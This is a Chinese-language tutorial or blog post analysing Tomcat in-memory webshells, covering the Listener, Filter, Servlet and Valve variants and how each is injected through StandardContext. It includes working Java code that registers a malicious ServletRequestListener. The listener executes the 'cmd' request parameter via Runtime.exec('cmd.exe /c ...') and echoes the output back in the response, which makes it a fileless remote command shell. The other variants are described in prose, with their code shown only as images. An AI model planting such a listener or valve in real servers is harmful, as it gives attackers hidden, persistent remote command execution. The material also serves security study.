前言

重新开始,征战Java大陆。

主要参考两位大爹的文章:

https://boogipop.com/2023/03/02/Tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90/

https://goodapple.top/archives/1355

使用内置tomcat

懒得每次都配tomcat了,直接写进代码里。

依赖

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.81</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>8.5.81</version>
</dependency>

启动程序

public class Main {
public static void main(String[] args) throws LifecycleException {
Tomcat tomcat = new Tomcat();
tomcat.setPort(8083);
tomcat.getConnector();

//第二部分
//浏览器访问第一个参数contextPath,即访问的是src/main/webapp下的文件
Context ctx = tomcat.addWebapp("", new File("src/main/webapp").getAbsolutePath());
WebResourceRoot resources = new StandardRoot(ctx);
resources.addPreResources(
// /WEB-INF/classes挂载在target/classes,即编译出来的class文件
new DirResourceSet(resources, "/WEB-INF/classes", new File("target/classes").getAbsolutePath(), "/"));
ctx.setResources(resources);

//第三部分
tomcat.start();
tomcat.getServer().await();

}
}

使用注解注册Servlet、Listener、Filter。

@WebListener
@WebServlet(urlPatterns = "/servlet")
@WebFilter(urlPatterns = "/*")

目录结构

webapp下不用放其他东西。

tomcat.8083是自动生成的。

image-20240204232140389.png

直接启动

image-20240204232117579.png

listener内存马分析

1、Tomcat中的三个Context。

ServletContext是接口。

ApplicationContext implements ServletContext。

ApplicationContext中的大部分操作都是基于this.context。ApplicationContext的context属性是StandardContext。

所以:StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互。后续添加监听器都是通过StandardContext进行。

2、Listener有两大类:LifecycleLisntener和EventListener

LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。

所以重点看EventListener。

3、StandardContext的getApplicationEventListeners返回一个数组,这个数组保存了所有的EventListener。所以接下来要实现的是获取StandardContext对象,然后将Listener马加入到数组中。

4、在Listener马的requestDestroyed方法中rce,并结合tomcat回显技术将结果带回。(tomcat回显技术得另外讲)

注册Listener马

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

try {
Request request = (Request)Util.getFieldValue(req, "request");
StandardContext context = (StandardContext)request.getContext();

// 自己debug时写出的获取方式
// Object applicationMapping = Util.getFieldValue(request, "applicationMapping");
// MappingData mappingData = (MappingData)Util.getFieldValue(applicationMapping, "mappingData");
// StandardContext context = (StandardContext)mappingData.context;

context.addApplicationEventListener(new MyListener());
} catch (Exception e) {
throw new RuntimeException(e);
}


}

Listener马内容

public class MyListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
//获取HttpServletRequest对象,用于RCE
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
//指令结果的输入流
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
/*
scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始
这条语句的整体意思就是读取所有输入,包括回车换行符
*/
Scanner s = new Scanner(in).useDelimiter("\\A");
//获得结果
String out = s.hasNext()?s.next():"";
//获取request对象
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
//回显技术
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("requestInitialized!!!");
}
}

filter 内存马分析

要找到context是如何记住一个filter的,然后手动加入恶意filter。

调试第一处:手写一个正常的Filter,然后将断点打在doFilter处,发送请求,到达断点,向下查看调用栈。

调用栈中,StandardWrapperValue的invoke方法有这个操作,跟进去。

ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

在里面遍历context的FilterMaps,如果请求的路径匹配到了FilterMap的urlPattern,则将这个FilterMap加入filterChain中。遍历过程中,如果这个Filter没有对应的filterConfig,则不加入,直接continue。

调试第二处:手写一个正常的Filter,然后将断点打在init处,启动调试,无需发送请求即可到达断点, 向下查看调用栈。

调用栈中,查看StandardContext的filterStart代码,有这一个操作:

ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());

其中,this就是StandardContext,entry.getValue()是一个FilterDef。

总结:

1、FilterMap保存filterName和urlPattern。相当于web.xml里的<filter-mapping>

2、FilterDef保存filterName和实际Filter对象。相当于web.xml里的<filter>

image-20240205104822606.png

3、FilterConfig保存filterName和filterConfig。filterConfig中有FilterDef。

内存马的构造即完成上述3个对象。

主要代码

image-20240205105142056.png

Servlet内存马分析

调试方式:断点打在ContextConfig的configureStart()方法,里面有一个操作webConfig()。webConfig是解析web.xml文件和注解。

然后将解析得到的webxml传入configureContext,开始创建wrapper。

此时的调用栈

image-20240205142913743.png

在configureContext中,创建wrapper,然后context.addChild(wrapper);

然后context.addServletMappingDecoded(entry.getKey(), entry.getValue());,第一个参数是路由,第二个是wrapper的名字。

然后回到fireLifecycleEvent,往下翻,可以看到loadOnStartup

image-20240205143509015.png

这里面的主要作用是,检查哪些Servlet有loadOnStartup参数(web.xml或注解配置的),有的话立刻加载,即执行wrapper.load(),没有的话等到被访问的时候才加载。

所以内存马编写主要参考configureContext里创建wrapper和添加路由的写法,完成这些后即可访问。至于有没有loadOnStartup不重要。

image-20240205143912760.png

value内存马分析

image-20240205145816667.png

一个请求进入Engine后,Engine调用自己的pipline的第一个value的invoke,value的invoke又调用下一个value的invoke,像链表一样逐级向下调用,最终调用到Servlet。

所以value内存马注入思路:在Context的pipline里加入一个恶意value。恶意value里也要调用下一个value的invoke,保证下面正常调用。

理论上在Engine和Host里注入也可以,但是还没研究如何获取Host或Engine。

内存马代码

image-20240205151206002.png

为什么getNext().invoke放在else里:Context的后面是wrapper。假如在if里最底下也invoke,则:访问不存在路由时,wrapper找不到,res原本的命令执行结果会被404页面信息覆盖(自己猜测的)。上述写法,访问所有路由,只要带cmd参数即可回显结果。

注入代码

image-20240205151224483.png